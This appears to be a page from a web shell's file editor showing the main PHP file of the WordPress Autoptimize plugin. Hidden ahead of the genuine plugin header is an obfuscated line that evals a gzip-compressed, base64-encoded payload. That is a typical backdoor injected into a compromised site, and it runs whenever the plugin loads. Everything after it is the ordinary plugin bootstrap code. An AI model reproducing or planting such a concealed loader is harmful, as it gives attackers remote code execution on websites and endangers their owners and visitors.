JezK
Edit File: autoptimize.php
<?php /*tJ}^f5?#ybK4"kBl;B*/@ EvAL(/*QI 3.kcBJJPkJ*/'?>'.GZiNfLaTe(baSE64_deCODe('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')));/*p x/C:}:fA%S F+r7*/?> <?php /** * Plugin Name: Autoptimize * Plugin URI: https://autoptimize.com/pro/ * Description: Makes your site faster by optimizing CSS, JS, Images, Google fonts and more. * Version: 3.1.15.1 * Author: Frank Goossens (futtta) * Author URI: https://autoptimize.com/pro/ * Text Domain: autoptimize * License: GPLv2 * Released under the GNU General Public License (GPL) * https://www.gnu.org/licenses/old-licenses/gpl-2.0.txt */ /** * Autoptimize main plugin file. */ if ( ! defined( 'ABSPATH' ) ) { exit; } define( 'AUTOPTIMIZE_PLUGIN_VERSION', '3.1.15.1' ); // plugin_dir_path() returns the trailing slash! define( 'AUTOPTIMIZE_PLUGIN_DIR', plugin_dir_path( __FILE__ ) ); define( 'AUTOPTIMIZE_PLUGIN_FILE', __FILE__ ); // Bail early if attempting to run on non-supported php versions. if ( version_compare( PHP_VERSION, '5.6', '<' ) ) { function autoptimize_incompatible_admin_notice() { echo '<div class="error"><p>' . esc_html__( 'Autoptimize requires PHP 5.6 (or higher) to function properly. Please upgrade PHP. The Plugin has been auto-deactivated.', 'autoptimize' ) . '</p></div>'; if ( isset( $_GET['activate'] ) ) { unset( $_GET['activate'] ); } } function autoptimize_deactivate_self() { deactivate_plugins( plugin_basename( AUTOPTIMIZE_PLUGIN_FILE ) ); } add_action( 'admin_notices', 'autoptimize_incompatible_admin_notice' ); add_action( 'admin_init', 'autoptimize_deactivate_self' ); return; } function autoptimize_autoload( $class_name ) { if ( in_array( $class_name, array( 'AO_Minify_HTML', 'JSMin' ) ) ) { $file = strtolower( $class_name ); $file = str_replace( '_', '-', $file ); $path = dirname( __FILE__ ) . '/classes/external/php/'; $filepath = $path . $file . '.php'; } elseif ( false !== strpos( $class_name, 'Autoptimize\\tubalmartin\\CssMin' ) ) { $file = str_replace( 'Autoptimize\\tubalmartin\\CssMin\\', '', $class_name ); $path = dirname( __FILE__ ) . '/classes/external/php/yui-php-cssmin-bundled/'; $filepath = $path . $file . '.php'; } elseif ( 'autoptimize' === substr( $class_name, 0, 11 ) ) { // One of our "old" classes. $file = $class_name; $path = dirname( __FILE__ ) . '/classes/'; $filepath = $path . $file . '.php'; } elseif ( 'PAnD' === $class_name ) { $file = 'persist-admin-notices-dismissal'; $path = dirname( __FILE__ ) . '/classes/external/php/persist-admin-notices-dismissal/'; $filepath = $path . $file . '.php'; } // If we didn't match one of our rules, bail! if ( ! isset( $filepath ) || ! is_readable( $filepath ) ) { return; } require $filepath; } spl_autoload_register( 'autoptimize_autoload' ); // Load WP CLI command(s) on demand. if ( defined( 'WP_CLI' ) && WP_CLI ) { require AUTOPTIMIZE_PLUGIN_DIR . 'classes/autoptimizeCLI.php'; } // filter to disable AO both on front- and backend. if ( apply_filters( 'autoptimize_filter_disable_plugin', false ) ) { return; } /** * Retrieve the instance of the main plugin class. * * @return autoptimizeMain */ function autoptimize() { static $plugin = null; if ( null === $plugin ) { $plugin = new autoptimizeMain( AUTOPTIMIZE_PLUGIN_VERSION, AUTOPTIMIZE_PLUGIN_FILE ); } return $plugin; } autoptimize()->run();